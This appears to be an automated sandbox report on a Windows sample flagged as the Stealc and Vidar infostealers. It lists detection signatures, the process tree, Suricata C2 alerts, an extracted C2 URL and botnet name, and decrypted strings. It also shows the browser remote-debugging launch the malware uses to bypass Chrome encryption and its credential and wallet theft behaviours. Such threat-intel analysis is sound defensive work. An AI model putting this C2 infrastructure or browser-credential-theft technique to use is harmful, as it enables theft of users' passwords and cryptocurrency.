Edit tour

Windows Analysis Report
2BI8rJKpBa.exe

Overview

General Information

Sample name:	2BI8rJKpBa.exe renamed because original name is a hash value
Original sample name:	ea2c30769d298e35ba11cd5c5ed2b04f.exe
Analysis ID:	1579146
MD5:	ea2c30769d298e35ba11cd5c5ed2b04f
SHA1:	e47bc5c3db4cfbc68dfbe6c48a88c87c29b38a13
SHA256:	ae5b9a35f35d710b849c3bfb37e848a129855768bd9929b7a85702de3e76e0c8
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Monitors registry run keys for changes

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

2BI8rJKpBa.exe (PID: 2836 cmdline: "C:\Users\user\Desktop\2BI8rJKpBa.exe" MD5: EA2C30769D298E35BA11CD5C5ED2B04F)

chrome.exe (PID: 2192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2364,i,17297783172009695929,5993235832865842761,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7788 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2536,i,13277386480959018772,6460262019571624917,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

WerFault.exe (PID: 7264 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2348 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5952 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2372 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 7748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2108,i,17217898156853852686,11675728796039050875,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.219.81.132/c3d039fb36c40339.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2120537180.0000000002350000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2668225897.0000000000790000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x73f0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2668293403.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2BI8rJKpBa.exe PID: 2836	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 2BI8rJKpBa.exe PID: 2836	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2BI8rJKpBa.exe PID: 2836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2BI8rJKpBa.exe PID: 2836	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.2BI8rJKpBa.exe.2310e67.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.2BI8rJKpBa.exe.2310e67.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.2BI8rJKpBa.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.2BI8rJKpBa.exe.2350000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.2BI8rJKpBa.exe.2350000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.2BI8rJKpBa.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\2BI8rJKpBa.exe", ParentImage: C:\Users\user\Desktop\2BI8rJKpBa.exe, ParentProcessId: 2836, ParentProcessName: 2BI8rJKpBa.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 2192, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:01.956288+0100	2044245	1	Malware Command and Control Activity Detected	185.219.81.132	80	192.168.2.6	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:01.835200+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.219.81.132	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:02.229872+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.219.81.132	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:43.440690+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.6	49786	185.219.81.132	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:03.541586+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.219.81.132	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:02.352102+0100	2044247	1	Malware Command and Control Activity Detected	185.219.81.132	80	192.168.2.6	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:01.421965+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.219.81.132	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T22:52:04.183104+0100	2803304	3	Unknown Traffic	192.168.2.6	49707	185.219.81.132	80	TCP
2024-12-20T22:52:31.073323+0100	2803304	3	Unknown Traffic	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:32.930733+0100	2803304	3	Unknown Traffic	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:34.267801+0100	2803304	3	Unknown Traffic	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:35.589649+0100	2803304	3	Unknown Traffic	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:39.066126+0100	2803304	3	Unknown Traffic	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:39.942769+0100	2803304	3	Unknown Traffic	192.168.2.6	49786	185.219.81.132	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2BI8rJKpBa.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2120537180.0000000002350000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://185.219.81.132/c3d039fb36c40339.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for submitted file

Source: 2BI8rJKpBa.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 2BI8rJKpBa.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 22
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 12
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 20
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 24
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: OpenEventA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateEventA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: VirtualFree
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: http://185.219.81.132
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: /c3d039fb36c40339.php
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: /55a20037509cc641/
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: LogsDiller
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HeapFree
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Process32Next
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Process32First
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GdipFree
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CoInitialize
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: wsprintfW
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RmStartSession
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RmGetList
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: RmEndSession
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: PATH
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: C:\ProgramData\
